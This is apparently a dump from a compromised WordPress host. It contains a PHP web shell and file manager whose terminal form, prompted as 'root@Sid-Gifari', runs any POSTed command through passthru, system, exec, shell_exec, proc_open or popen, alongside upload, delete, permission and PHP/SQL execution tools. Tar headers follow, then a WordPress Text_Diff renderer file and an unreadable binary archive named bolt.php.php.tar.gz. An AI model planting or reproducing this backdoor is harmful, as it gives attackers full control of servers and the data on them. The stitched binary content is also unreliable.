            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
